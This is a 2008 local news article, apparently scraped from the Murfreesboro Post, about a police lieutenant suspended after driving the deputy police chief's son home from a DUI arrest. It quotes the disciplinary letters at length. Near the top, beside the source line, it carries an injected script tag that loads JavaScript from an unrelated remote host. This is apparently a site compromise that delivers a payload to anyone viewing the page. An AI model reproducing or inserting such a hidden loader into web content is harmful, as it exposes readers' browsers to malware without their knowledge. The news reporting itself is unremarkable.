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NEWS > 24 March 2008

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 Article sourced from

Murfreesboro Police Department<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Murfreesboro Post - Murfreesbo
24 March 2008
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Murfreesboro Police Department

Police lieutenant loses $4,100

A Murfreesboro Police lieutenant was suspended without pay 20 days after he drove the deputy police chief ‘s son home after he was released from a DUI arrest, police documents stated.

Lt. Alan Smith, 42, who commands the midnight shift, will lose almost $4,100 in pay for his actions Feb. 21 when he took Kevin Garrett home after his arrest by Officer Kenneth White. Garrett is the son of the Deputy Police Chief Randy Garrett.

Police Chief Glenn Chrisman imposed the 20-day suspension along with reassignment to a different shift and remedial training by attending and completing a course and instruction on Police Ethics and Integrity this year.

District Attorney Bill Whitesell said he could not prosecute Garrett now because he was not given the chance to take a blood test to perhaps prove his innocence.

Chrisman counseled with Deputy Chief Garrett for failing to notify him about his son’s stop. The chief did not discipline White or Sgt. Don Fanning who was at the scene.

White, who is assigned to the DUI team, stopped Kevin Garrett on a traffic stop at 1:31 a.m. on Northwest Broad Street. White gave Garrett several field sobriety tests, then arrested him on suspicion of DUI. Garrett agreed to take a blood test.

When the younger Garrett told White to call his father, White notified supervisors.

In his statement, White stated Smith told him if he said Garrett was borderline, he would take him home. White replied, “Lieutenant, he is not borderline. I would not have put him in my car if he was borderline.”

In his statement, Smith said he asked White about the level of intoxication.

“I asked Officer White was Garrett bad intoxicated or borderline intoxicated because if he is bad, you have to take him (to) jail and if he is borderline, then we can take him home and those are your two options,” Smith stated. “Officer White then told me that Garrett was borderline intoxicated.”

While he was never told directly to release Garrett, White noted he was “nervous as hell because it was the chief’s son. But when Lt. Smith told me three times ‘if he was borderline I can take him home,” I felt pressured.”

When White released Garrett, Smith took him home, the chief stated.

Chrisman wrote to Smith Garrett’s arrest should have followed normal procedures. There should have been no supervisory intervention in this event.

“Your intervention in the disposition of this stop was inappropriate, constituted a violation of city policies and represented a serious error in judgment,” Chrisman stated.

A check of Smith's personnel file showed no disciplinary actions since he joined the department in 1992. . He received commendations for volunteering to build equipment for the Special Operations Unit, helped apprehend six suspects for the Michigan State Police who were charged with methamphetamine violations, nabbed a fleeing burglar and helped the FBI in a bank robbery arrest.

In a letter to Smith, City Manager Roger Haley stated the discipline wasn’t more severe because Smith posted an excellent record with the department, told the truth and accepted responsibility for his actions.

“Because of your actions, a highly respected ranking member of the Murfreesboro Police Department has been subjected to undue criticism,” Haley wrote. “Furthermore, your conduct has brought discredit to the department and the city of Murfreesboro. It is essential that to effectively perform our jobs, we as servants to the public must maintain a high level of integrity and trust.”

Smith’s conduct “breached that level of integrity and trust and placed the actions of all city employees under scrutiny by the public,” the city manager stated.

Chrisman also sent letters to Garrett, White and Fanning.

Regarding Garrett, Chrisman described him as a “man of honor and integrity who has dedicated his working life to the service of others.”

But the chief added Garrett had the responsibility to report the event to Chrisman the next working day to investigate the actions promptly.

“I understand that you believed this was a situation which involved your adult son and decisions which had been made outside your direct control,” Chrisman stated. “I appreciate that you believed it most appropriate for you to maintain a neutral and detached position with regard to these events. In this difficult situation, you had responsibilities as a father but also as the deputy chief of police.”

Regarding White, Chrisman stated he supported the officer’s decision to arrest and was proud of his professionalism and competence.

With regard to White’s statement he felt pressured, Chrisman stated White’s “fears were and are unnecessary. I expect that all Murfreesboro Police officers will conduct themselves with honor and integrity in all situations.”

“I appreciate and respect the outstanding work you have been doing as a member of our Murfreesboro Police Alcohol Countermeasures Team,” Chrisman wrote to White.

Chrisman wrote to Fanning he acted under the direction of Smith.

As a supervisor, Fanning must enforce policy and procedures and ensure officers perform to the highest standards, the chief wrote.

“In this situation, I appreciate the fact that Lt. Smith was the shift commander and you deferred to his judgment in this case,” Chrisman stated.
 

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